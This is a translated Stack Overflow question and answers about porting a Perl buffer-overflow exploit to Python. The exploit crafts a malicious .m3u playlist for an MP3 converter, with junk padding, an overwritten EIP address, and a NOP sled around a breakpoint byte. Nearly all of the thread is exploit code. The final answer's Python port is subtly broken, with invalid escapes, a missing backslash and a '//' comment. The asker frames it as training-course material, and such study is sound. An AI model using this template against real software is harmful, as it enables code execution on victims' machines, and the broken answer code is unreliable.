我最近一直在做一些漏洞开发,为一个培训课程做准备,但我在教程中遇到了一个问题。出于偏好,我一直在遵循我能找到的所有教程,使用Python,而不是教程所使用的语言。我试图对所有东西进行交叉编码,但我不知道如何对Perl的Pack()函数进行交叉编码。
TL;DR:我正在尝试将其转换为python:
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);
my $shellcode = "\x90" x 25;
$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25;
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";我已经找到了Python的struct.pack()函数,但是当我使用
Fuzzed.write(struct.pack('V', 0x773D10A4)),它会停止程序并不工作。我做错了什么?
这是我的全部源代码
import struct
Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)发布于 2011-06-18 01:42:29
尝试使用"L<"包模板而不是"V"。这在Perl和Python中都可以工作。N和V是指定字节顺序的较早的Perl方法,而<和>是较新的方法。看起来,当Python从Perl那里借用pack时,它只采用了更新、更灵活的接口。
编辑: Python希望<放在类型说明符之前,而Perl希望放在后面。不太兼容:(
发布于 2011-06-18 01:42:35
Python的struct.pack使用第一个字符表示endianess/size variation,然后使用一个或多个字符表示data type。Perl的V means 32位无符号整数/小端。
与Python类似的是struct.pack('<I', 0x773D10A4)。
发布于 2016-03-29 05:10:21
我已经翻译成了python,并且我已经尝试了MP3转换器。这是你的答案:
import sys
file = "8.m3u"
junk = "A"*26042
eip = "\X3A\XF2\XB5\X01" //0x01B5F23A
shellcode =" "
shellcode += "\x90"*25
shellcode += "xcc"
shellcode += "\x90"*25
tmp = junk + eip + shellcode
D = open(file, 'w')
D.write(tmp)
D.close()
print "m3u File Created successfully\n"https://stackoverflow.com/questions/6389576
复制相似问题